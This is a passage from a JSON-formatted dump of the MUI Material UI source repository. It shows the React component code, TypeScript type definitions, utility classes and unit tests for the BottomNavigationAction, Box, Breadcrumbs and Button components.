expect(screen.getByRole('button')).not.to.have.class(classes.iconOnly);\n  });\n\n  it('should render the passed `icon`', () => {\n    render(<BottomNavigationAction icon={<div data-testid=\"icon\" />} />);\n\n    expect(within(screen.getByRole('button')).getByTestId('icon')).not.to.equal(null);\n  });\n\n  describe('prop: onClick', () => {\n    it('should be called when a click is triggered', () => {\n      const handleClick = spy();\n      render(<BottomNavigationAction onClick={handleClick} />);\n\n      screen.getByRole('button').click();\n\n      expect(handleClick.callCount).to.equal(1);\n    });\n  });\n\n  it('forwards nativeButton={false} through useSlot to ButtonBase', () => {\n    const CustomSpan = React.forwardRef((props, ref) => <span ref={ref} {...props} />);\n    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n    render(<BottomNavigationAction component={CustomSpan} nativeButton={false} />);\n\n    const action = screen.getByRole('button');\n    expect(action).to.have.tagName('SPAN');\n    expect(action).not.to.have.attribute('type');\n\n    // Proves nativeButton={false} was forwarded — without it, ButtonBase\n    // would warn about a non-button host with nativeButton omitted.\n    expect(errorSpy.mock.calls.length).to.equal(0);\n    errorSpy.mockRestore();\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/BottomNavigationAction/bottomNavigationActionClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface BottomNavigationActionClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** State class applied to the root element if selected. */\n  selected: string;\n  /** State class applied to the root element if `showLabel={false}` and not selected. */\n  iconOnly: string;\n  /** Styles applied to the label's span element. */\n  label: string;\n}\n\nexport type BottomNavigationActionClassKey = keyof BottomNavigationActionClasses;\n\nexport function getBottomNavigationActionUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiBottomNavigationAction', slot);\n}\n\nconst bottomNavigationActionClasses: BottomNavigationActionClasses = generateUtilityClasses(\n  'MuiBottomNavigationAction',\n  ['root', 'iconOnly', 'selected', 'label'],\n);\n\nexport default bottomNavigationActionClasses;\n"
  },
  {
    "path": "packages/mui-material/src/BottomNavigationAction/index.d.ts",
    "content": "export { default } from './BottomNavigationAction';\nexport * from './BottomNavigationAction';\n\nexport { default as bottomNavigationActionClasses } from './bottomNavigationActionClasses';\nexport * from './bottomNavigationActionClasses';\n"
  },
  {
    "path": "packages/mui-material/src/BottomNavigationAction/index.js",
    "content": "export { default } from './BottomNavigationAction';\n\nexport { default as bottomNavigationActionClasses } from './bottomNavigationActionClasses';\nexport * from './bottomNavigationActionClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Box/Box.d.ts",
    "content": "import { BoxTypeMap } from '@mui/system';\nimport { OverridableComponent } from '@mui/types';\nimport { OverrideProps } from '../OverridableComponent';\nimport { Theme as MaterialTheme } from '../styles';\n\n/**\n *\n * Demos:\n *\n * - [Box](https://next.mui.com/material-ui/react-box/)\n * - [Menubar](https://next.mui.com/material-ui/react-menubar/)\n *\n * API:\n *\n * - [Box API](https://next.mui.com/material-ui/api/box/)\n */\ndeclare const Box: OverridableComponent<BoxTypeMap<{}, 'div', MaterialTheme>>;\n\nexport type BoxProps<\n  RootComponent extends React.ElementType = BoxTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<BoxTypeMap<AdditionalProps, RootComponent, MaterialTheme>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Box;\n"
  },
  {
    "path": "packages/mui-material/src/Box/Box.js",
    "content": "'use client';\nimport { createBox } from '@mui/system';\nimport PropTypes from 'prop-types';\nimport { unstable_ClassNameGenerator as ClassNameGenerator } from '../className';\nimport { createTheme } from '../styles';\nimport THEME_ID from '../styles/identifier';\nimport boxClasses from './boxClasses';\n\nconst defaultTheme = createTheme();\n\nconst Box = createBox({\n  themeId: THEME_ID,\n  defaultTheme,\n  defaultClassName: boxClasses.root,\n  generateClassName: ClassNameGenerator.generate,\n});\n\nBox.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * @ignore\n   */\n  children: PropTypes.node,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default Box;\n"
  },
  {
    "path": "packages/mui-material/src/Box/Box.spec.tsx",
    "content": "import { Box as SystemBox, BoxProps as SystemBoxProps, createBox } from '@mui/system';\nimport { expectType } from '@mui/types';\nimport Box, { BoxProps as MaterialBoxProps } from '@mui/material/Box';\nimport { createTheme } from '@mui/material/styles';\n\nfunction ThemeValuesCanBeSpread() {\n  <Box\n    sx={(theme) => ({\n      ...theme.typography.body1,\n      color: theme.palette.primary.main,\n    })}\n  />;\n  <Box\n    sx={(theme) => ({\n      ...theme.mixins.toolbar,\n      color: theme.palette.primary.main,\n    })}\n  />;\n  <Box\n    sx={(theme) => ({\n      ...theme.mixins.toolbar,\n      color: 'primary.main',\n    })}\n  />;\n}\n\n// Compatibility with Material UI's Box\nconst defaultTheme = createTheme({});\nconst CustomBox = createBox({ defaultTheme });\nexpectType<typeof Box, typeof CustomBox>(CustomBox);\n\nexpectType<typeof SystemBox, typeof CustomBox>(CustomBox);\n\nfunction ColorTest() {\n  <Box\n    sx={(theme) => ({\n      color: theme.vars.palette.common.black,\n      backgroundColor: theme.vars.palette.background.default,\n    })}\n  />;\n}\n\nfunction ComponentTest() {\n  return <span />;\n}\n\nexpectType<SystemBoxProps['component'], MaterialBoxProps['component']>('span');\nexpectType<SystemBoxProps['component'], MaterialBoxProps['component']>(ComponentTest);\n"
  },
  {
    "path": "packages/mui-material/src/Box/Box.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, isJsdom } from '@mui/internal-test-utils';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport { unstable_ClassNameGenerator as ClassNameGenerator } from '@mui/material/className';\nimport describeConformance from '../../test/describeConformance';\n\nconst isJSDOM = isJsdom();\n\ndescribe('<Box />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Box />, () => ({\n    render,\n    inheritComponent: 'div',\n    skip: ['rootClass', 'themeVariants', 'themeStyleOverrides', 'themeDefaultProps'],\n    refInstanceof: window.HTMLDivElement,\n  }));\n\n  it.skipIf(isJSDOM)('respects theme from context', function test() {\n    const theme = createTheme({\n      palette: {\n        primary: {\n          main: 'rgb(255, 0, 0)',\n        },\n      },\n    });\n\n    const { container } = render(\n      <ThemeProvider theme={theme}>\n        <Box sx={{ color: 'primary.main' }} />\n      </ThemeProvider>,\n    );\n\n    expect(container.firstChild).toHaveComputedStyle({\n      color: 'rgb(255, 0, 0)',\n    });\n  });\n\n  describe('ClassNameGenerator', () => {\n    afterEach(() => {\n      ClassNameGenerator.reset();\n    });\n\n    it('get custom className', () => {\n      const { container, rerender } = render(<Box />);\n      expect(container.firstChild).to.have.class('MuiBox-root');\n\n      ClassNameGenerator.configure((name) => name.replace('Mui', 'Company'));\n\n      rerender(<Box />);\n\n      expect(container.firstChild).to.have.class('CompanyBox-root');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Box/boxClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\n\nexport interface BoxClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type BoxClassKey = keyof BoxClasses;\n\nconst boxClasses: BoxClasses = generateUtilityClasses('MuiBox', ['root']);\n\nexport default boxClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Box/index.d.ts",
    "content": "export { default } from './Box';\nexport * from './Box';\n\nexport { default as boxClasses } from './boxClasses';\nexport * from './boxClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Box/index.js",
    "content": "export { default } from './Box';\n\nexport { default as boxClasses } from './boxClasses';\nexport * from './boxClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Breadcrumbs/BreadcrumbCollapsed.js",
    "content": "'use client';\nimport PropTypes from 'prop-types';\nimport { emphasize } from '@mui/system/colorManipulator';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport MoreHorizIcon from '../internal/svg-icons/MoreHoriz';\nimport ButtonBase from '../ButtonBase';\n\nconst BreadcrumbCollapsedButton = styled(ButtonBase, {\n  name: 'MuiBreadcrumbCollapsed',\n})(\n  memoTheme(({ theme }) => ({\n    display: 'flex',\n    marginLeft: `calc(${theme.spacing(1)} * 0.5)`,\n    marginRight: `calc(${theme.spacing(1)} * 0.5)`,\n    ...(theme.palette.mode === 'light'\n      ? { backgroundColor: theme.palette.grey[100], color: theme.palette.grey[700] }\n      : { backgroundColor: theme.palette.grey[700], color: theme.palette.grey[100] }),\n    borderRadius: 2,\n    '&:hover, &:focus': {\n      ...(theme.palette.mode === 'light'\n        ? { backgroundColor: theme.palette.grey[200] }\n        : { backgroundColor: theme.palette.grey[600] }),\n    },\n    '&:active': {\n      boxShadow: theme.shadows[0],\n      ...(theme.palette.mode === 'light'\n        ? { backgroundColor: emphasize(theme.palette.grey[200], 0.12) }\n        : { backgroundColor: emphasize(theme.palette.grey[600], 0.12) }),\n    },\n  })),\n);\n\nconst BreadcrumbCollapsedIcon = styled(MoreHorizIcon)({\n  width: 24,\n  height: 16,\n});\n\n/**\n * @ignore - internal component.\n */\nfunction BreadcrumbCollapsed(props) {\n  const { slots = {}, slotProps = {}, ...otherProps } = props;\n  const { nativeButton, ...buttonBaseProps } = otherProps;\n  const ownerState = props;\n\n  return (\n    <li>\n      <BreadcrumbCollapsedButton focusRipple {...buttonBaseProps} ownerState={ownerState}>\n        <BreadcrumbCollapsedIcon\n          as={slots.CollapsedIcon}\n          ownerState={ownerState}\n          {...slotProps.collapsedIcon}\n        />\n      </BreadcrumbCollapsedButton>\n    </li>\n  );\n}\n\nBreadcrumbCollapsed.propTypes = {\n  /**\n   * The props used for the CollapsedIcon slot.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    collapsedIcon: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside the BreadcumbCollapsed.\n   * Either a string to use a HTML element or a component.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    CollapsedIcon: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.object,\n};\n\nexport default BreadcrumbCollapsed;\n"
  },
  {
    "path": "packages/mui-material/src/Breadcrumbs/BreadcrumbCollapsed.test.js",
    "content": "import { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { fireEvent, createRenderer, screen } from '@mui/internal-test-utils';\nimport BreadcrumbCollapsed from './BreadcrumbCollapsed';\n\ndescribe('<BreadcrumbCollapsed />', () => {\n  const { render } = createRenderer();\n\n  it('should render an icon', () => {\n    const { container } = render(<BreadcrumbCollapsed />);\n\n    expect(container.querySelectorAll('svg').length).to.equal(1);\n  });\n\n  it('renders a native <button>', () => {\n    render(<BreadcrumbCollapsed />);\n\n    expect(screen.getByRole('button')).to.have.property('nodeName', 'BUTTON');\n  });\n\n  describe('prop: onClick', () => {\n    it(`should be called when clicked`, () => {\n      const handleClick = spy();\n      render(<BreadcrumbCollapsed onClick={handleClick} />);\n      const expand = screen.getByRole('button');\n\n      fireEvent.click(expand);\n\n      expect(handleClick.callCount).to.equal(1);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Breadcrumbs/Breadcrumbs.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { SlotComponentProps } from '../utils/types';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { BreadcrumbsClasses } from './breadcrumbsClasses';\nimport SvgIcon from '../SvgIcon';\n\nexport interface BreadcrumbsCollapsedIconSlotPropsOverrides {}\n\nexport interface BreadcrumbsOwnerState extends BreadcrumbsProps {\n  expanded: boolean;\n}\n\nexport interface BreadcrumbsOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<BreadcrumbsClasses> | undefined;\n  /**\n   * The components used for each slot inside the Breadcumb.\n   * Either a string to use a HTML element or a component.\n   * @default {}\n   */\n  slots?:\n    | {\n        CollapsedIcon?: React.ElementType | undefined;\n      }\n    | undefined;\n  /**\n   * The props used for each slot inside the Breadcumb.\n   * @default {}\n   */\n  slotProps?:\n    | {\n        /**\n         * Props applied to the CollapsedIcon slot.\n         * @default {}\n         */\n        collapsedIcon?:\n          | SlotComponentProps<\n              typeof SvgIcon,\n              BreadcrumbsCollapsedIconSlotPropsOverrides,\n              BreadcrumbsOwnerState\n            >\n          | undefined;\n      }\n    | undefined;\n  /**\n   * Override the default label for the expand button.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'Show path'\n   */\n  expandText?: string | undefined;\n  /**\n   * If max items is exceeded, the number of items to show after the ellipsis.\n   * @default 1\n   */\n  itemsAfterCollapse?: number | undefined;\n  /**\n   * If max items is exceeded, the number of items to show before the ellipsis.\n   * @default 1\n   */\n  itemsBeforeCollapse?: number | undefined;\n  /**\n   * Specifies the maximum number of breadcrumbs to display. When there are more\n   * than the maximum number, only the first `itemsBeforeCollapse` and last `itemsAfterCollapse`\n   * will be shown, with an ellipsis in between.\n   * @default 8\n   */\n  maxItems?: number | undefined;\n  /**\n   * Custom separator node.\n   * @default '/'\n   */\n  separator?: React.ReactNode;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface BreadcrumbsTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'nav',\n> {\n  props: AdditionalProps & BreadcrumbsOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Breadcrumbs](https://next.mui.com/material-ui/react-breadcrumbs/)\n *\n * API:\n *\n * - [Breadcrumbs API](https://next.mui.com/material-ui/api/breadcrumbs/)\n * - inherits [Typography API](https://next.mui.com/material-ui/api/typography/)\n */\ndeclare const Breadcrumbs: OverridableComponent<BreadcrumbsTypeMap>;\n\nexport type BreadcrumbsProps<\n  RootComponent extends React.ElementType = BreadcrumbsTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<BreadcrumbsTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Breadcrumbs;\n"
  },
  {
    "path": "packages/mui-material/src/Breadcrumbs/Breadcrumbs.js",
    "content": "'use client';\nimport * as React from 'react';\nimport { isFragment } from 'react-is';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport integerPropType from '@mui/utils/integerPropType';\nimport composeClasses from '@mui/utils/composeClasses';\nimport useSlotProps from '@mui/utils/useSlotProps';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Typography from '../Typography';\nimport BreadcrumbCollapsed from './BreadcrumbCollapsed';\nimport breadcrumbsClasses, { getBreadcrumbsUtilityClass } from './breadcrumbsClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n    li: ['li'],\n    ol: ['ol'],\n    separator: ['separator'],\n  };\n\n  return composeClasses(slots, getBreadcrumbsUtilityClass, classes);\n};\n\nconst BreadcrumbsRoot = styled(Typography, {\n  name: 'MuiBreadcrumbs',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    return [{ [`& .${breadcrumbsClasses.li}`]: styles.li }, styles.root];\n  },\n})({});\n\nconst BreadcrumbsOl = styled('ol', {\n  name: 'MuiBreadcrumbs',\n  slot: 'Ol',\n})({\n  display: 'flex',\n  flexWrap: 'wrap',\n  alignItems: 'center',\n  padding: 0,\n  margin: 0,\n  listStyle: 'none',\n});\n\nconst BreadcrumbsSeparator = styled('li', {\n  name: 'MuiBreadcrumbs',\n  slot: 'Separator',\n})({\n  display: 'flex',\n  userSelect: 'none',\n  marginLeft: 8,\n  marginRight: 8,\n});\n\nfunction insertSeparators(items, className, separator, ownerState) {\n  return items.reduce((acc, current, index) => {\n    if (index < items.length - 1) {\n      acc = acc.concat(\n        current,\n        <BreadcrumbsSeparator\n          aria-hidden\n          key={`separator-${index}`}\n          className={className}\n          ownerState={ownerState}\n        >\n          {separator}\n        </BreadcrumbsSeparator>,\n      );\n    } else {\n      acc.push(current);\n    }\n\n    return acc;\n  }, []);\n}\n\nconst Breadcrumbs = React.forwardRef(function Breadcrumbs(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiBreadcrumbs' });\n  const {\n    children,\n    className,\n    component = 'nav',\n    slots = {},\n    slotProps = {},\n    expandText = 'Show path',\n    itemsAfterCollapse = 1,\n    itemsBeforeCollapse = 1,\n    maxItems = 8,\n    separator = '/',\n    ...other\n  } = props;\n\n  const [expanded, setExpanded] = React.useState(false);\n\n  const ownerState = {\n    ...props,\n    component,\n    expanded,\n    expandText,\n    itemsAfterCollapse,\n    itemsBeforeCollapse,\n    maxItems,\n    separator,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const collapsedIconSlotProps = useSlotProps({\n    elementType: slots.CollapsedIcon,\n    externalSlotProps: slotProps.collapsedIcon,\n    ownerState,\n  });\n\n  const listRef = React.useRef(null);\n  const renderItemsBeforeAndAfter = (allItems) => {\n    const handleClickExpand = () => {\n      setExpanded(true);\n\n      // The clicked element received the focus but gets removed from the DOM.\n      // Let's keep the focus in the component after expanding.\n      // Moving it to the <ol> or <nav> does not cause any announcement in NVDA.\n      // By moving it to some link/button at least we have some announcement.\n      const focusable = listRef.current.querySelector('a[href],button,[tabindex]');\n      if (focusable) {\n        focusable.focus();\n      }\n    };\n\n    // This defends against someone passing weird input, to ensure that if all\n    // items would be shown anyway, we just show all items without the EllipsisItem\n    if (itemsBeforeCollapse + itemsAfterCollapse >= allItems.length) {\n      if (process.env.NODE_ENV !== 'production') {\n        console.error(\n          [\n            'MUI: You have provided an invalid combination of props to the Breadcrumbs.',\n            `itemsAfterCollapse={${itemsAfterCollapse}} + itemsBeforeCollapse={${itemsBeforeCollapse}} >= maxItems={${maxItems}}`,\n          ].join('\\n'),\n        );\n      }\n      return allItems;\n    }\n\n    return [\n      ...allItems.slice(0, itemsBeforeCollapse),\n      <BreadcrumbCollapsed\n        aria-label={expandText}\n        key=\"ellipsis\"\n        slots={{ CollapsedIcon: slots.CollapsedIcon }}\n        slotProps={{ collapsedIcon: collapsedIconSlotProps }}\n        onClick={handleClickExpand}\n      />,\n      ...allItems.slice(allItems.length - itemsAfterCollapse, allItems.length),\n    ];\n  };\n\n  const allItems = React.Children.toArray(children)\n    .filter((child) => {\n      if (process.env.NODE_ENV !== 'production') {\n        if (isFragment(child)) {\n          console.error(\n            [\n              \"MUI: The Breadcrumbs component doesn't accept a Fragment as a child.\",\n              'Consider providing an array instead.',\n            ].join('\\n'),\n          );\n        }\n      }\n\n      return React.isValidElement(child);\n    })\n    .map((child, index) => (\n      <li className={classes.li} key={`child-${index}`}>\n        {child}\n      </li>\n    ));\n\n  return (\n    <BreadcrumbsRoot\n      ref={ref}\n      component={component}\n      color=\"textSecondary\"\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      {...other}\n    >\n      <BreadcrumbsOl className={classes.ol} ref={listRef} ownerState={ownerState}>\n        {insertSeparators(\n          expanded || (maxItems && allItems.length <= maxItems)\n            ? allItems\n            : renderItemsBeforeAndAfter(allItems),\n          classes.separator,\n          separator,\n          ownerState,\n        )}\n      </BreadcrumbsOl>\n    </BreadcrumbsRoot>\n  );\n});\n\nBreadcrumbs.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * Override the default label for the expand button.\n   *\n   * For localization purposes, you can use the provided [translations](https://mui.com/material-ui/guides/localization/).\n   * @default 'Show path'\n   */\n  expandText: PropTypes.string,\n  /**\n   * If max items is exceeded, the number of items to show after the ellipsis.\n   * @default 1\n   */\n  itemsAfterCollapse: integerPropType,\n  /**\n   * If max items is exceeded, the number of items to show before the ellipsis.\n   * @default 1\n   */\n  itemsBeforeCollapse: integerPropType,\n  /**\n   * Specifies the maximum number of breadcrumbs to display. When there are more\n   * than the maximum number, only the first `itemsBeforeCollapse` and last `itemsAfterCollapse`\n   * will be shown, with an ellipsis in between.\n   * @default 8\n   */\n  maxItems: integerPropType,\n  /**\n   * Custom separator node.\n   * @default '/'\n   */\n  separator: PropTypes.node,\n  /**\n   * The props used for each slot inside the Breadcumb.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    collapsedIcon: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside the Breadcumb.\n   * Either a string to use a HTML element or a component.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    CollapsedIcon: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default Breadcrumbs;\n"
  },
  {
    "path": "packages/mui-material/src/Breadcrumbs/Breadcrumbs.spec.tsx",
    "content": "import Breadcrumbs from '@mui/material/Breadcrumbs';\nimport SvgIcon from '@mui/material/SvgIcon';\n\nfunction SampleIcon() {\n  return (\n    <SvgIcon>\n      <path d=\"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\" />\n    </SvgIcon>\n  );\n}\n\n// test for slots and slotProps\n<Breadcrumbs\n  slots={{\n    CollapsedIcon: SampleIcon,\n  }}\n  slotProps={{\n    collapsedIcon(ownerState) {\n      return { color: ownerState.maxItems! > 7 ? 'primary' : 'secondary' };\n    },\n  }}\n  maxItems={2}\n>\n  <span>first</span>\n  <span>second</span>\n  <span>third</span>\n</Breadcrumbs>;\n"
  },
  {
    "path": "packages/mui-material/src/Breadcrumbs/Breadcrumbs.test.js",
    "content": "import { expect } from 'chai';\nimport {\n  act,\n  createRenderer,\n  screen,\n  strictModeDoubleLoggingSuppressed,\n} from '@mui/internal-test-utils';\nimport Breadcrumbs, { breadcrumbsClasses as classes } from '@mui/material/Breadcrumbs';\nimport Typography from '@mui/material/Typography';\nimport FirstPageIcon from '../internal/svg-icons/FirstPage';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Breadcrumbs />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Breadcrumbs>Conformance?</Breadcrumbs>, () => ({\n    classes,\n    inheritComponent: Typography,\n    render,\n    muiName: 'MuiBreadcrumbs',\n    refInstanceof: window.HTMLElement,\n    testComponentPropWith: 'div',\n    testVariantProps: { separator: '=' },\n  }));\n\n  it('should render inaccessible separators between each listitem', () => {\n    render(\n      <Breadcrumbs>\n        <span>first</span>\n        <span>second</span>\n      </Breadcrumbs>,\n    );\n\n    expect(screen.getAllByRole('listitem', { hidden: false })).to.have.length(2);\n    expect(screen.getByRole('list')).to.have.text('first/second');\n  });\n\n  it('should render an ellipsis between `itemsAfterCollapse` and `itemsBeforeCollapse`', () => {\n    render(\n      <Breadcrumbs>\n        <span>first</span>\n        <span>second</span>\n        <span>third</span>\n        <span>fourth</span>\n        <span>fifth</span>\n        <span>sixth</span>\n        <span>seventh</span>\n        <span>eighth</span>\n        <span>ninth</span>\n      </Breadcrumbs>,\n    );\n\n    const listitems = screen.getAllByRole('listitem', { hidden: false });\n\n    expect(listitems).to.have.length(3);\n    expect(screen.getByRole('list')).to.have.text('first//ninth');\n    expect(screen.getByRole('button').querySelector('[data-testid=\"MoreHorizIcon\"]')).not.to.equal(\n      null,\n    );\n  });\n\n  it('should expand when `BreadcrumbCollapsed` is clicked', () => {\n    render(\n      <Breadcrumbs>\n        <span tabIndex={-1}>first</span>\n        <span>second</span>\n        <span>third</span>\n        <span>fourth</span>\n        <span>fifth</span>\n        <span>sixth</span>\n        <span>seventh</span>\n        <span>eighth</span>\n        <span>ninth</span>\n      </Breadcrumbs>,\n    );\n\n    act(() => {\n      screen.getByRole('button').click();\n    });\n\n    expect(document.activeElement).to.equal(screen.getByText('first'));\n    expect(screen.getAllByRole('listitem', { hidden: false })).to.have.length(9);\n  });\n\n  it('should warn about invalid input', () => {\n    expect(() => {\n      render(\n        <Breadcrumbs maxItems={3} itemsAfterCollapse={2} itemsBeforeCollapse={2}>\n          <span>first</span>\n          <span>second</span>\n          <span>third</span>\n          <span>fourth</span>\n        </Breadcrumbs>,\n      );\n    }).toErrorDev([\n      'MUI: You have provided an invalid combination of props to the Breadcrumbs.\\nitemsAfterCollapse={2} + itemsBeforeCollapse={2} >= maxItems={3}',\n      !strictModeDoubleLoggingSuppressed &&\n        'MUI: You have provided an invalid combination of props to the Breadcrumbs.\\nitemsAfterCollapse={2} + itemsBeforeCollapse={2} >= maxItems={3}',\n    ]);\n    expect(screen.getAllByRole('listitem', { hidden: false })).to.have.length(4);\n    expect(screen.getByRole('list')).to.have.text('first/second/third/fourth');\n  });\n\n  describe('prop: slots and slotProps', () => {\n    it('should show custom collapsed icon', () => {\n      render(\n        <Breadcrumbs\n          slots={{\n            CollapsedIcon: FirstPageIcon,\n          }}\n          maxItems={2}\n        >\n          <span>first</span>\n          <span>second</span>\n          <span>third</span>\n        </Breadcrumbs>,\n      );\n\n      screen.getByTestId('FirstPageIcon');\n    });\n\n    it('should apply slotProps to collapsed icon', () => {\n      render(\n        <Breadcrumbs\n          maxItems={2}\n          slotProps={{ collapsedIcon: { 'data-testid': 'collapsedIcon-test-label' } }}\n        >\n          <span>first</span>\n          <span>second</span>\n          <span>third</span>\n        </Breadcrumbs>,\n      );\n\n      screen.getByTestId('collapsedIcon-test-label');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Breadcrumbs/breadcrumbsClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface BreadcrumbsClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the ol element. */\n  ol: string;\n  /** Styles applied to the li element. */\n  li: string;\n  /** Styles applied to the separator element. */\n  separator: string;\n}\n\nexport type BreadcrumbsClassKey = keyof BreadcrumbsClasses;\n\nexport function getBreadcrumbsUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiBreadcrumbs', slot);\n}\n\nconst breadcrumbsClasses: BreadcrumbsClasses = generateUtilityClasses('MuiBreadcrumbs', [\n  'root',\n  'ol',\n  'li',\n  'separator',\n]);\n\nexport default breadcrumbsClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Breadcrumbs/index.d.ts",
    "content": "export { default } from './Breadcrumbs';\nexport * from './Breadcrumbs';\n\nexport { default as breadcrumbsClasses } from './breadcrumbsClasses';\nexport * from './breadcrumbsClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Breadcrumbs/index.js",
    "content": "export { default } from './Breadcrumbs';\n\nexport { default as breadcrumbsClasses } from './breadcrumbsClasses';\nexport * from './breadcrumbsClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Button/Button.d.ts",
    "content": "import * as React from 'react';\nimport { DistributiveOmit, OverridableStringUnion } from '@mui/types';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { ExtendButtonBase, ExtendButtonBaseTypeMap } from '../ButtonBase';\nimport { OverrideProps, OverridableComponent, OverridableTypeMap } from '../OverridableComponent';\nimport { ButtonClasses } from './buttonClasses';\n\nexport interface ButtonPropsVariantOverrides {}\n\nexport interface ButtonPropsColorOverrides {}\n\nexport interface ButtonPropsSizeOverrides {}\n\nexport interface ButtonOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ButtonClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color?:\n    | OverridableStringUnion<\n        'inherit' | 'primary' | 'secondary' | 'success' | 'error' | 'info' | 'warning',\n        ButtonPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, no elevation is used.\n   * @default false\n   */\n  disableElevation?: boolean | undefined;\n  /**\n   * If `true`, the  keyboard focus ripple is disabled.\n   * @default false\n   */\n  disableFocusRipple?: boolean | undefined;\n  /**\n   * Element placed after the children.\n   */\n  endIcon?: React.ReactNode;\n  /**\n   * If `true`, the button will take up the full width of its container.\n   * @default false\n   */\n  fullWidth?: 